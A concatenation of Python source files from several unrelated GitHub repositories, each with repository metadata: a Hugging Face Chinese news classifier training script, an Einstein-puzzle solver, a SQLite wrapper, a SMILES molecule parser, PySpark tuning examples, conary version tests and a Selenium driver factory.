ModelArguments:\n \"\"\"\n Arguments pertaining to which model/config/tokenizer we are going to fine-tune from.\n \"\"\"\n\n model_name_or_path: str = field(\n metadata={\"help\": \"Path to pretrained model or model identifier from huggingface.co/models\"}\n )\n config_name: Optional[str] = field(\n default=None, metadata={\"help\": \"Pretrained config name or path if not the same as model_name\"}\n )\n tokenizer_name: Optional[str] = field(\n default=None, metadata={\"help\": \"Pretrained tokenizer name or path if not the same as model_name\"}\n )\n cache_dir: Optional[str] = field(\n default=None, metadata={\"help\": \"Where do you want to store the pretrained models downloaded from s3\"}\n )\n\n\ndef main():\n # See all possible arguments in src/transformers/training_args.py\n # or by passing the --help flag to this script.\n # We now keep distinct sets of args, for a cleaner separation of concerns.\n\n parser = HfArgumentParser((ModelArguments, DataTrainingArguments, TrainingArguments))\n\n if len(sys.argv) == 2 and sys.argv[1].endswith(\".json\"):\n # If we pass only one argument to the script and it's the path to a json file,\n # let's parse it to get our arguments.\n model_args, data_args, training_args = parser.parse_json_file(json_file=os.path.abspath(sys.argv[1]))\n else:\n model_args, data_args, training_args = parser.parse_args_into_dataclasses()\n\n if (\n os.path.exists(training_args.output_dir)\n and os.listdir(training_args.output_dir)\n and training_args.do_train\n and not training_args.overwrite_output_dir\n ):\n raise ValueError(\n f\"Output directory ({training_args.output_dir}) already exists and is not empty. Use --overwrite_output_dir to overcome.\"\n )\n\n # Setup logging\n logging.basicConfig(\n format=\"%(asctime)s - %(levelname)s - %(name)s - %(message)s\",\n datefmt=\"%m/%d/%Y %H:%M:%S\",\n level=logging.INFO if training_args.local_rank in [-1, 0] else logging.WARN,\n )\n logger.warning(\n \"Process rank: %s, device: %s, n_gpu: %s, distributed training: %s, 16-bits training: %s\",\n training_args.local_rank,\n training_args.device,\n training_args.n_gpu,\n bool(training_args.local_rank != -1),\n training_args.fp16,\n )\n logger.info(\"Training/evaluation parameters %s\", training_args)\n\n # Set seed\n set_seed(training_args.seed)\n\n output_mode = \"classification\"\n\n # Load pretrained model and tokenizer\n #\n # Distributed training:\n # The .from_pretrained methods guarantee that only one local process can concurrently\n # download model & vocab.\n\n # tokenizer,用来做分词等数据预处理工作\n tokenizer = AutoTokenizer.from_pretrained(\n model_args.tokenizer_name if model_args.tokenizer_name else model_args.model_name_or_path,\n cache_dir=model_args.cache_dir,\n )\n train_dataset = THUCNewsDataset(data_args, tokenizer=tokenizer, cache_dir=model_args.cache_dir)\n num_labels = len(train_dataset.get_labels())\n\n # config 包含了模型的基本参数设定\n config = AutoConfig.from_pretrained(\n model_args.config_name if model_args.config_name else model_args.model_name_or_path,\n num_labels=num_labels,\n finetuning_task=data_args.task_name,\n cache_dir=model_args.cache_dir,\n )\n\n # 加载模型\n model = AutoModelForSequenceClassification.from_pretrained(\n model_args.model_name_or_path,\n from_tf=bool(\".ckpt\" in model_args.model_name_or_path),\n config=config,\n cache_dir=model_args.cache_dir,\n ) #.cuda()\n\n\n # Get datasets\n eval_dataset = (\n THUCNewsDataset(data_args, tokenizer=tokenizer, mode=\"dev\", cache_dir=model_args.cache_dir)\n if training_args.do_eval\n else None\n )\n test_dataset = (\n THUCNewsDataset(data_args, tokenizer=tokenizer, mode=\"test\", cache_dir=model_args.cache_dir)\n if training_args.do_predict\n else None\n )\n\n def simple_accuracy(preds, labels):\n return (preds == labels).mean()\n\n def compute_metrics_fn(p: EvalPrediction):\n preds = np.argmax(p.predictions, axis=1)\n return {\"THUCNews\": simple_accuracy(preds, p.label_ids)}\n\n\n # Initialize our Trainer\n # 模型训练代码,非常值得一读 https://github.com/huggingface/transformers/blob/master/src/transformers/trainer.py#L134\n trainer = Trainer(\n model=model,\n args=training_args,\n train_dataset=train_dataset,\n eval_dataset=eval_dataset,\n compute_metrics=compute_metrics_fn,\n )\n\n # Training\n if training_args.do_train:\n trainer.train(\n model_path=model_args.model_name_or_path if os.path.isdir(model_args.model_name_or_path) else None\n )\n trainer.save_model()\n # For convenience, we also re-save the tokenizer to the same directory,\n # so that you can share your model easily on huggingface.co/models =)\n if trainer.is_world_master():\n tokenizer.save_pretrained(training_args.output_dir)\n\n # Evaluation\n eval_results = {}\n if training_args.do_eval:\n logger.info(\"*** Evaluate ***\")\n\n # Loop to handle MNLI double evaluation (matched, mis-matched)\n eval_datasets = [eval_dataset]\n\n for eval_dataset in eval_datasets:\n trainer.compute_metrics = compute_metrics_fn\n eval_result = trainer.evaluate(eval_dataset=eval_dataset)\n\n output_eval_file = os.path.join(\n training_args.output_dir, f\"eval_results_{eval_dataset.args.task_name}.txt\"\n )\n if trainer.is_world_master():\n with open(output_eval_file, \"w\") as writer:\n logger.info(\"***** Eval results {} *****\".format(eval_dataset.args.task_name))\n for key, value in eval_result.items():\n logger.info(\" %s = %s\", key, value)\n writer.write(\"%s = %s\\n\" % (key, value))\n\n eval_results.update(eval_result)\n\n if training_args.do_predict:\n logging.info(\"*** Test ***\")\n test_datasets = [test_dataset]\n\n for test_dataset in test_datasets:\n predictions = trainer.predict(test_dataset=test_dataset).predictions\n if output_mode == \"classification\":\n predictions = np.argmax(predictions, axis=1)\n\n output_test_file = os.path.join(\n training_args.output_dir, f\"test_results_{test_dataset.args.task_name}.txt\"\n )\n if trainer.is_world_master():\n with open(output_test_file, \"w\") as writer:\n logger.info(\"***** Test results {} *****\".format(test_dataset.args.task_name))\n writer.write(\"index\\tprediction\\n\")\n for index, item in enumerate(predictions):\n if output_mode == \"regression\":\n writer.write(\"%d\\t%3.3f\\n\" % (index, item))\n else:\n item = test_dataset.get_labels()[item]\n writer.write(\"%d\\t%s\\n\" % (index, item))\n return eval_results\n\n\ndef _mp_fn(index):\n # For xla_spawn (TPUs)\n main()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ZeweiChu/transformers-tutorial","sub_path":"cn-classification/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15060,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"48"} +{"seq_id":"16602170065","text":"COUNT, FIRST, CENTER = 5, 0, 2\nRED, GREEN, WHITE, YELLOW, BLUE = 0, 1, 2, 3, 4\nBRIT, SWEDE, DANE, NORWEGIAN, GERMAN = 0, 1, 2, 3, 4\nTEA, COFFEE, MILK, JUICE, WATER = 0, 1, 2, 3, 4\nPALL_MALL, DUNHILL, BLENDS, BLUE_MASTER, PRINCE = 0, 1, 2, 3, 4\nDOG, BIRD, CAT, HORSE = 0, 1, 2, 3\nCOLOR, NATIONALITY, DRINK, TOBACCO, PET = 0, 1, 2, 3, 4\n\nrow_colors = [i for i in range(COUNT)]\nrow_nationalities = [i for i in range(COUNT)]\nrow_drinks = [i for i in range(COUNT)]\nrow_tobaccos = [i for i in range(COUNT)]\nrow_pets = [i for i in range(COUNT)]\n\ncolors = ['red', 'green', 'white', 'yellow', 'blue']\nnationalities = ['Brit', 'Swede', 'Dane', 'Norwegian', 'German']\ndrinks = ['tea', 'coffee', 'milk', 'juice', 'water']\ntobaccos = ['Pall_Mall', 'Dunhill', 'Blends', 'Blue_Master', 'Prince']\npets = ['dog', 'bird', 'cat', 'horse', 'fish']\n\ndef main() -> None:\n set_colors(0)\n\ndef set_colors(index: int) -> None:\n if COUNT == index:\n if 1 == row_colors[WHITE] - row_colors[GREEN]:\n set_nationalities(0)\n return\n\n set_colors(index + 1)\n for i in range(index + 1, COUNT):\n row_colors[index], row_colors[i] = row_colors[i], row_colors[index]\n set_colors(index + 1)\n row_colors[index], row_colors[i] = row_colors[i], row_colors[index]\n\ndef set_nationalities(index: int) -> None:\n if COUNT == index:\n if row_nationalities[BRIT] == row_colors[RED] \\\n and FIRST == row_nationalities[NORWEGIAN] \\\n and 1 == abs(row_nationalities[NORWEGIAN] - row_colors[BLUE]):\n set_drinks(0)\n return\n\n set_nationalities(index + 1)\n for i in range(index + 1, COUNT):\n row_nationalities[index], row_nationalities[i] = row_nationalities[i], row_nationalities[index]\n set_nationalities(index + 1)\n row_nationalities[index], row_nationalities[i] = row_nationalities[i], row_nationalities[index]\n\ndef set_drinks(index: int) -> None:\n if COUNT == index:\n if row_nationalities[DANE] == row_drinks[TEA] \\\n and row_colors[GREEN] == row_drinks[COFFEE] \\\n and CENTER == row_drinks[MILK]:\n set_tobaccos(0)\n return\n\n set_drinks(index + 1)\n for i in range(index + 1, COUNT):\n row_drinks[index], row_drinks[i] = row_drinks[i], row_drinks[index]\n set_drinks(index + 1)\n row_drinks[index], row_drinks[i] = row_drinks[i], row_drinks[index]\n\ndef set_tobaccos(index: int) -> None:\n if COUNT == index:\n if row_colors[YELLOW] == row_tobaccos[DUNHILL] \\\n and row_tobaccos[BLUE_MASTER] == row_drinks[JUICE] \\\n and row_nationalities[GERMAN] == row_tobaccos[PRINCE] \\\n and 1 == abs(row_tobaccos[BLENDS] - row_drinks[WATER]):\n set_pets(0)\n return\n\n set_tobaccos(index + 1)\n for i in range(index + 1, COUNT):\n row_tobaccos[index], row_tobaccos[i] = row_tobaccos[i], row_tobaccos[index]\n set_tobaccos(index + 1)\n row_tobaccos[index], row_tobaccos[i] = row_tobaccos[i], row_tobaccos[index]\n\ndef set_pets(index: int) -> None:\n if COUNT == index:\n if row_nationalities[SWEDE] == row_pets[DOG] \\\n and row_tobaccos[PALL_MALL] == row_pets[BIRD] \\\n and 1 == abs(row_tobaccos[BLENDS] - row_pets[CAT]) \\\n and 1 == abs(row_pets[HORSE] - row_tobaccos[DUNHILL]):\n print_result()\n return\n\n set_pets(index + 1)\n for i in range(index + 1, COUNT):\n row_pets[index], row_pets[i] = row_pets[i], row_pets[index]\n set_pets(index + 1)\n row_pets[index], row_pets[i] = row_pets[i], row_pets[index]\n\ndef print_result() -> None:\n owers = [[0 for _ in range(COUNT)] for _ in range(COUNT)]\n for i in range(COUNT):\n owers[row_colors[i]][COLOR] = i\n owers[row_nationalities[i]][NATIONALITY] = i\n owers[row_drinks[i]][DRINK] = i\n owers[row_tobaccos[i]][TOBACCO] = i\n owers[row_pets[i]][PET] = i\n\n for ower in owers:\n print(colors[ower[COLOR]] + ' ' + \\\n nationalities[ower[NATIONALITY]] + ' ' + \\\n drinks[ower[DRINK]] + ' ' + \\\n tobaccos[ower[TOBACCO]] + ' ' + \\\n pets[ower[PET]])\n\nif __name__ == '__main__':\n main()\n","repo_name":"mingjiaojiaozhu/puzzle","sub_path":"Einstein/EinsteinPuzzle.py","file_name":"EinsteinPuzzle.py","file_ext":"py","file_size_in_byte":4263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5631134267","text":"import datetime\nfrom ..models.onboarding_request import ONBOARDING_REQUEST_STATUSES\nfrom .validate_utils import validate_userinfo\n\n\nclass OnboardingRequestDTO:\n def __init__(\n self,\n id,\n info,\n date_submitted,\n status,\n ):\n self.id = id\n self.info = info\n self.date_submitted = date_submitted\n self.status = status\n\n error_list = self.validate()\n if len(error_list) > 0:\n error_message = \"\\n\".join(error_list)\n raise Exception(error_message)\n\n def validate(self):\n error_list = validate_userinfo(self.info, [])\n\n if type(self.id) is not str:\n error_list.append(\"The id supplied is not a string.\")\n\n if type(self.date_submitted) is not datetime.datetime:\n error_list.append(\"The date_submitted supplied is not a datetime object.\")\n\n if type(self.status) is not str:\n error_list.append(\"The status supplied is not a string.\")\n\n if self.status not in ONBOARDING_REQUEST_STATUSES:\n error_list.append(\n \"The status {self_status} is not one of {valid_statuses}\".format(\n self_status=self.status,\n valid_statuses=\", \".join(ONBOARDING_REQUEST_STATUSES),\n )\n )\n\n return error_list\n","repo_name":"uwblueprint/feeding-canadian-kids","sub_path":"backend/app/resources/onboarding_request_dto.py","file_name":"onboarding_request_dto.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"1413136104","text":"from conary_test import rephelp\n\nfrom conary.versions import VersionFromString as VFS\nfrom conary.build import nextversion\n\nfrom conary.deps import deps\n\nclass NextVersionTest(rephelp.RepositoryHelper):\n def testNextVersions(self):\n trv = self.addComponent('foo:source', '1')\n self.addComponent('foo:run', '1')\n self.addCollection('foo', '1', [':run'])\n localVersion = VFS('/local@local:COOK/1.0-1')\n sourceList = [(trv.getVersion(), ['foo'], deps.Flavor()),\n (localVersion, ['bar'], deps.Flavor())]\n repos = self.openRepository()\n nextVersions = nextversion.nextVersions(repos, self.openDatabase(),\n sourceList)\n assert(nextVersions == [VFS('/localhost@rpl:linux/1-1-2'),\n VFS('/local@local:COOK/1.0-1-1')])\n\n def testNextVersionMultipleBranchesWithDepth(self):\n # this has depth 3, but the trove we're building has depth 2.\n # so we can't consider it the \"latest\" and just increment its source\n # count.\n self.addCollection('foo=/localhost@rpl:1//2//3/2:1-2-0.0.1', [':run'])\n\n repos = self.openRepository()\n sourceList = [(VFS('/localhost@rpl:2//3/1-2'), ['foo'], deps.Flavor())]\n nextVersions = nextversion.nextVersions(repos, self.openDatabase(),\n sourceList)\n assert(nextVersions == [VFS('/localhost@rpl:2//3/1-2-0.1')])\n\n def testNextVersionMultipleBranchesWithDepth2(self):\n self.addCollection('foo=/localhost@rpl:1//2//3/2:1-2-0.1', [':run'])\n\n repos = self.openRepository()\n sourceList = [(VFS('/localhost@rpl:2//3/1-2'), ['foo'], deps.Flavor())]\n nextVersions = nextversion.nextVersions(repos, self.openDatabase(),\n sourceList)\n assert(nextVersions == [VFS('/localhost@rpl:2//3/1-2-0.2')])\n\n def testNextVersionLatestDevelOnOtherBranch(self):\n # depth 2 but not latest\n self.addCollection('foo=/localhost@rpl:1//3/1:1-2-0.1[is:x86]', \n [':run'])\n # depth 3\n self.addCollection('foo=/localhost@rpl:1//2//3/2:1-2-0.0.1', [':run'])\n\n sourceList = [(VFS('/localhost@rpl:1//3/1-2'), ['foo'], deps.Flavor())]\n nextVersions = nextversion.nextVersions(self.openRepository(),\n self.openDatabase(), sourceList)\n assert(nextVersions == [VFS('/localhost@rpl:1//3/1-2-0.2')])\n\n def testNextVersionLatestDevelOnThisBranch(self):\n # depth 3\n self.addCollection('foo=/localhost@rpl:1//2//3/1:1-2-0.0.1', [':run'])\n # depth 2 and latest\n self.addCollection('foo=/localhost@rpl:1//3/2:1-2-0.1[is:x86]', \n [':run'])\n sourceList = [(VFS('/localhost@rpl:1//3/1-2'), ['foo'], deps.Flavor())]\n nextVersions = nextversion.nextVersions(self.openRepository(),\n self.openDatabase(), sourceList)\n assert(nextVersions == [VFS('/localhost@rpl:1//3/1-2-0.1')])\n","repo_name":"sassoftware/conary","sub_path":"conary_test/cvctest/buildtest/nextversiontest.py","file_name":"nextversiontest.py","file_ext":"py","file_size_in_byte":3140,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"48"} +{"seq_id":"26292954240","text":"import sqlite3 \n\n#classes are Sqlite3Driver and Sqlite3 \n\nclass Sqlite3():\n \"\"\"\n This is a convenience class built to wrap Sqlite3Driver class.\n \"\"\"\n def __init__(self, dbfile=':memory:', maxfetchlen=0, \n queriesfile='queries.sqlite3.py'): \n self.sqlite = Sqlite3Driver(dbfile=dbfile, maxfetchlen=maxfetchlen)\n\n # queries file should be in the same directory or\n # its path could be passed\n self.queriesfile = queriesfile\n self.queries = Sqlite3.read_queries(queriesfile)\n\n self.dbfile = dbfile \n # max number of rows returnded from select statement\n # zero means all\n self.maxfetchlen = maxfetchlen\n self.initialize_db()\n\n def read_queries(queriesfile='queries.sqlite3.py'):\n with open(queriesfile) as q:\n return eval(q.read())\n\n def initialize_db(self):\n if self.sqlite == None: return False\n\n initquerykeys = [x for x in self.queries.keys()\n if 'init' in self.queries[x]['tags']]\n initquerykeys.sort(key=lambda x : self.queries[x]['tags']['init'])\n\n for querykey in initquerykeys:\n self.execute(querykey)\n\n return True\n\n def execute (self, querykey, data=None, maxfetchlen=None):\n \"\"\"\n Here the paramenter 'data' is a tuple of values. Which\n will be inserted into the 'query' paramenter at appropriate \n places.\n \"\"\"\n if querykey.endswith(\"s\"):\n return self.sqlite.select(self.queries[querykey]['query'],\n data=data, maxfetchlen=maxfetchlen)\n else:\n return self.sqlite.modify(self.queries[querykey]['query'],\n data=data)\n\n def close (self):\n if self.sqlite != None:\n self.sqlite.close()\n\n\n\nclass Sqlite3Driver(): \n def __init__(self, dbfile=':memory:', maxfetchlen=0): \n\n # queries file should be in the same directory or\n # its path could be passed\n\n self.dbfile = dbfile \n # max number of rows returnded from select statement\n # zero means all\n self.maxfetchlen = maxfetchlen\n self.cur = self.conn = None\n try:\n self.conn = sqlite3.connect(dbfile) \n print (\"Database {} opened.\".format(self.dbfile))\n self.cur = self.conn.cursor() \n except sqlite3.Error as e:\n print (e)\n raise e\n\n def select (self, query, data=None, maxfetchlen=None): \n \"\"\"\n Here the paramenter 'data' is a tuple of values. Which\n will be inserted into the 'query' paramenter at appropriate \n places.\n \"\"\"\n if data == None: \n self.cur.execute (query) \n else: \n self.cur.execute (query, data)\n\n if maxfetchlen == None:\n maxfetchlen = self.maxfetchlen\n\n if maxfetchlen == 0:\n return self.cur.fetchall()\n else:\n return self.cur.fetchmany(size=maxfetchlen)\n\n def modify (self, query, data=None):\n \"\"\"\n Here the paramenter 'data' is a tuple of values. Which\n will be inserted into the 'query' paramenter at appropriate \n places.\n \"\"\"\n if data == None: \n self.cur.execute (query) \n else: \n self.cur.execute (query, data)\n\n self.conn.commit()\n\n return self.cur.rowcount;\n\n def close (self):\n if self.conn != None:\n self.conn.close()\n print (\"Database {} closed.\".format(self.dbfile))\n\n","repo_name":"adhuliya/notespy-web-app","sub_path":"sqlite_driver.py","file_name":"sqlite_driver.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30076904694","text":"#!/usr/bin/python3\ntry:\n import numpy as np\nexcept ImportError:\n print('Please install numpy libraries first!')\n quit(1)\n\n# algorithm from http://slabode.exofire.net/circle_draw.shtml\n# void DrawCircle(float cx, float cy, float r, int num_segments)\n# {\n# \tglBegin(GL_LINE_LOOP);\n# \tfor(int ii = 0; ii < num_segments; ii++)\n# \t{\n# //get the current angle\n# \t\tfloat theta = 2.0f * 3.1415926f * float(ii) / float(num_segments);\n#\n# \t\tfloat x = r * cosf(theta);//calculate the x component\n# \t\tfloat y = r * sinf(theta);//calculate the y component\n#\n# \t\tglVertex2f(x + cx, y + cy);//output vertex\n#\n# \t}\n# \tglEnd();\n# }\n\n\ndef createCircleApproximation(cx, cy, r, num_segments):\n points = []\n for i in range(num_segments):\n theta = 2 * np.pi * float(i) / float(num_segments)\n x = (r * np.cos(theta))\n y = (r * np.sin(theta))\n points.append((x + cx, y + cy))\n\n return points\n\n\ndef array2MOOSVector(ar):\n s = '{'\n\n for i in ar[:-1]: # all elements but the last\n s += '{0:.2f}'.format(float(i[0])) + ','\n s += '{0:.2f}'.format(float(i[1])) + ':'\n\n # last gets special treatment\n s += '{0:.2f}'.format(float(ar[-1][0])) + ','\n s += '{0:.2f}'.format(float(ar[-1][1])) + '}'\n\n return s\n\nx1 = float(input(\"Please enter the X coordinates of the\"\n \" center of the polygon: \"))\ny1 = float(input(\"Please enter the Y coordinates of the\"\n \" center of the polygon: \"))\nr1 = float(input(\"Please enter the radius of the polygon: \"))\nn1 = int(input(\"Please enter the number of segments of the polygon: \"))\n\nvertices = createCircleApproximation(x1, y1, r1, n1)\nprint(array2MOOSVector(vertices))\n","repo_name":"mattrix27/moos-ivp-oyster","sub_path":"scripts/create_polygon_circle.py","file_name":"create_polygon_circle.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70691219986","text":"from functools import reduce\nimport pyparsing as pp\nimport operator\n\nimport chemistry\n\ndef make_element_literal(element):\n return (pp.Literal(element.symbol)\n .setParseAction(lambda: [element])\n .setResultsName('element'))\n\nelements = [(make_element_literal(element), element)\n for element in chemistry.elements]\n\norganic_element = reduce(operator.xor,\n (literal\n for literal, element in elements\n if element.smiles_organic))\nelement = reduce(operator.xor,\n (literal for literal, element in elements))\n\ntetrahedral = (pp.Regex('@{0,2}')\n .setParseAction(lambda t: len(t[0]))\n .setResultsName('tetrahedral'))\n\nhydrogens = (pp.Empty().setParseAction(lambda: 0) ^\n pp.Literal('H').suppress() +\n (pp.Empty().setParseAction(lambda: 1) ^\n pp.Word(pp.nums).setParseAction(lambda t: int(t[0])))\n ).setResultsName('hydrogens')\n\nbond_type = (pp.Empty().setParseAction(lambda: 1) ^\n pp.Literal('-').setParseAction(lambda: 1) ^\n pp.Literal('\\\\').setParseAction(lambda: (1, 'left')) ^\n pp.Literal('/').setParseAction(lambda: (1, 'right')) ^\n pp.Literal('=').setParseAction(lambda: 2) ^\n pp.Literal('#').setParseAction(lambda: 3) ^\n pp.Literal('$').setParseAction(lambda: 4)\n )\n\ndef parse_charge(tokens):\n op, num = tokens\n\n return {\n '-': operator.neg,\n '+': operator.pos\n }[op](int(num))\n\ncharge = (pp.ZeroOrMore('+').setParseAction(lambda t: len(t)) ^\n pp.ZeroOrMore('-').setParseAction(lambda t: -len(t)) ^\n ((pp.Literal('+') ^ pp.Literal('-')) +\n pp.Word(pp.nums)).setParseAction(parse_charge)\n ).setResultsName('charge')\n\nisotope = pp.Optional(pp.Word(pp.nums).setParseAction(lambda t: int(t[0]))\n .setResultsName('isotope'))\n\natom = pp.Or([organic_element,\n pp.Literal('[').suppress() +\n isotope + element + tetrahedral + hydrogens + charge +\n pp.Literal(']').suppress()],\n True\n )#.setParseAction(lambda t: Atom(**t.atom.asDict())).setResultsName('atom')\n\nsubstituent = pp.Forward()\n\nfull_atom = (atom +\n pp.Or([pp.OneOrMore(substituent),\n pp.Empty().setParseAction(lambda: [])],\n True\n ).setResultsName('substituents')\n ).setParseAction(lambda t: t.asDict())\n\natom_chain = full_atom + pp.ZeroOrMore(bond_type + full_atom)\n\nsubstituent_num = (pp.Word(pp.nums, exact=1) ^\n (pp.Literal('%').suppress() + pp.Word(pp.nums))\n ).setParseAction(lambda t: int(t[0]))\n\nsubstituent <<= (pp.Group(pp.Literal('(').suppress() +\n bond_type + atom_chain +\n pp.Literal(')').suppress()) ^\n substituent_num)\n\nsmiles = (pp.StringStart() +\n pp.Group(atom_chain) + pp.ZeroOrMore(pp.Literal('.').suppress() + pp.Group(atom_chain)) +\n pp.StringEnd())\n\ndef construct_substituent(smiles_substituent, numbered_substituents, i=0):\n cur_bond = smiles_substituent[i]\n\n return chemistry.Bond(cur_bond, construct_atom_graph(smiles_substituent, numbered_substituents, i+1, cur_bond))\n\ndef construct_atom_graph(smiles_atoms, numbered_substituents, i=0, behind_bond_type=None):\n cur_atom = smiles_atoms[i]\n\n processed_substituents = []\n\n if behind_bond_type:\n processed_substituents.append(chemistry.Bond(behind_bond_type, 'behind'))\n\n for substituent in cur_atom['substituents']:\n if not isinstance(substituent, int):\n substituent = construct_substituent(substituent, numbered_substituents)\n processed_substituents.append(substituent)\n else:\n processed_substituents.append(chemistry.Bond(1, substituent))\n\n if i < len(smiles_atoms) - 1:\n processed_substituents.append(construct_substituent(smiles_atoms, numbered_substituents, i+1))\n\n cur_atom['substituents'] = processed_substituents\n\n atom = chemistry.Atom(**cur_atom)\n\n for bond in cur_atom['substituents']:\n if isinstance(bond.atom, int):\n numbered_substituents.setdefault(bond.atom, set()).add(atom)\n elif not isinstance(bond.atom, str):\n bond.atom.replace_bond('behind', atom)\n\n return atom\n\nif __name__ == '__main__':\n tests = [\n 'N#N',\n 'CN=C=O',\n 'OC[C@@H](O1)[C@@H](O)[C@H](O)[C@@H](O)[C@@H](O)1',\n 'CC[C@H](O1)CC[C@@]12CCCO2',\n 'CC(C)[C@@]12C[C@@H]1[C@@H](C)C(=O)C2',\n '[2H]C(Cl)(Cl)Cl'\n ]\n\n from pprint import pprint\n for test in tests:\n print(test)\n print(repr(smiles.parseString(test)))\n print('---')\n","repo_name":"atrigent/smilesvis","sub_path":"smiles.py","file_name":"smiles.py","file_ext":"py","file_size_in_byte":4877,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"31295283621","text":"import pyspark\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.classification import LogisticRegression\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom pyspark.ml.feature import HashingTF, Tokenizer\nfrom pyspark.ml.tuning import CrossValidator, ParamGridBuilder\n\nspark=pyspark.sql.SparkSession.builder.getOrCreate()\n\n# Prepare training documents, which are labeled.\ntraining = spark.createDataFrame([\n (0, \"a b c d e spark\", 1.0),\n (1, \"b d\", 0.0),\n (2, \"spark f g h\", 1.0),\n (3, \"hadoop mapreduce\", 0.0),\n (4, \"b spark who\", 1.0),\n (5, \"g d a y\", 0.0),\n (6, \"spark fly\", 1.0),\n (7, \"was mapreduce\", 0.0),\n (8, \"e spark program\", 1.0),\n (9, \"a e c l\", 0.0),\n (10, \"spark compile\", 1.0),\n (11, \"hadoop software\", 0.0)\n], [\"id\", \"text\", \"label\"])\n# Configure an ML pipeline, which consists of tree stages: tokenizer, hashingTF, and lr.\ntokenizer = Tokenizer(inputCol=\"text\", outputCol=\"words\")\nhashingTF = HashingTF(inputCol=tokenizer.getOutputCol(), outputCol=\"features\")\nlr = LogisticRegression(maxIter=10)\npipeline = Pipeline(stages=[tokenizer, hashingTF, lr])\n# We now treat the Pipeline as an Estimator, wrapping it in a CrossValidator instance.\n# This will allow us to jointly choose parameters for all Pipeline stages.\n# A CrossValidator requires an Estimator, a set of Estimator ParamMaps, and an Evaluator.\n# We use a ParamGridBuilder to construct a grid of parameters to search over.\n# With 3 values for hashingTF.numFeatures and 2 values for lr.regParam,\n# this grid will have 3 x 2 = 6 parameter settings for CrossValidator to choose from.\nparamGrid = ParamGridBuilder() \\\n .addGrid(hashingTF.numFeatures, [10, 100, 1000]) \\\n .addGrid(lr.regParam, [0.1, 0.01]) \\\n .build()\ncrossval = CrossValidator(estimator=pipeline,\n estimatorParamMaps=paramGrid,\n evaluator=BinaryClassificationEvaluator(),\n numFolds=2) # use 3+ folds in practice\n# Run cross-validation, and choose the best set of parameters.\ncvModel = crossval.fit(training)\n# Prepare test documents, which are unlabeled.\ntest = spark.createDataFrame([\n (4, \"spark i j k\"),\n (5, \"l m n\"),\n (6, \"mapreduce spark\"),\n (7, \"apache hadoop\")\n], [\"id\", \"text\"])\n# Make predictions on test documents. cvModel uses the best model found (lrModel).\nprediction = cvModel.transform(test)\nselected = prediction.select(\"id\", \"text\", \"probability\", \"prediction\")\nfor row in selected.collect():\n print(row)\n\nfrom pyspark.ml.evaluation import RegressionEvaluator\nfrom pyspark.ml.regression import LinearRegression\nfrom pyspark.ml.tuning import ParamGridBuilder, TrainValidationSplit\n# Prepare training and test data.\ndata = spark.read.format(\"libsvm\").load(\"file:///usr/local/spark/data/mllib/sample_linear_regression_data.txt\")\ntrain, test = data.randomSplit([0.9, 0.1], seed=12345)\nlr = LinearRegression(maxIter=10)\n# We use a ParamGridBuilder to construct a grid of parameters to search over.\n# TrainValidationSplit will try all combinations of values and determine best model using\n# the evaluator.\nparamGrid = ParamGridBuilder()\\\n .addGrid(lr.regParam, [0.1, 0.01]) \\\n .addGrid(lr.fitIntercept, [False, True])\\\n .addGrid(lr.elasticNetParam, [0.0, 0.5, 1.0])\\\n .build()\n# In this case the estimator is simply the linear regression.\n# A TrainValidationSplit requires an Estimator, a set of Estimator ParamMaps, and an Evaluator.\ntvs = TrainValidationSplit(estimator=lr,\n estimatorParamMaps=paramGrid,\n evaluator=RegressionEvaluator(),\n # 80% of the data will be used for training, 20% for validation.\n trainRatio=0.8)\n# Run TrainValidationSplit, and choose the best set of parameters.\nmodel = tvs.fit(train)\n# Make predictions on test data. model is the model with combination of parameters\n# that performed best.\nmodel.transform(test)\\\n .select(\"features\", \"label\", \"prediction\")\\\n .show()","repo_name":"zhaojinxi/learn_python","sub_path":"learn_pyspark/Machine Learning Library (MLlib) Guide/ML Tuning model selection and hyperparameter tuning.py","file_name":"ML Tuning model selection and hyperparameter tuning.py","file_ext":"py","file_size_in_byte":4019,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"22102364724","text":"import pygame\n\nclass Botao(pygame.sprite.Sprite):\n def __init__(self, x, y, fundobtn, valor):\n super().__init__()\n self.valor = valor\n self.imagem = fundobtn\n self.image = self.imagem\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n\n def clicar(self):\n self.kill()\n\n @property\n def valor(self):\n return self.__valor\n\n @valor.setter\n def valor(self, valor):\n if(valor < 0):\n self.__valor = 0\n if(valor > 3):\n self.__valor = 3\n else:\n self.__valor = valor","repo_name":"thfribeiro/path-of-ordenation","sub_path":"botao.py","file_name":"botao.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"939413805","text":"from selenium import webdriver\nimport os\nimport time\nimport pytest\n\nclass WebDriverFactory:\n def __init__(self, browser):\n self.browser= browser\n\n def get_web_driver_instance(self):\n baseURL = \"https://profiledev.workex.ai/auth/login\"\n if self.browser == \"iexplorer\":\n # Set ie driver\n driver = webdriver.Ie()\n elif self.browser == \"firefox\":\n driver = webdriver.Firefox()\n elif self.browser == \"chrome\":\n # Set chrome driver\n chromedriver = \"/home/kavya/tools/chromedriver_linux64/chromedriver\"\n os.environ[\"webdriver.chrome\"] = chromedriver\n driver = webdriver.Chrome(chromedriver)\n\n\n else:\n driver = webdriver.Firefox()\n # Setting Driver Implicit Time out for An Element\n time.sleep(5)\n driver.get(baseURL)\n 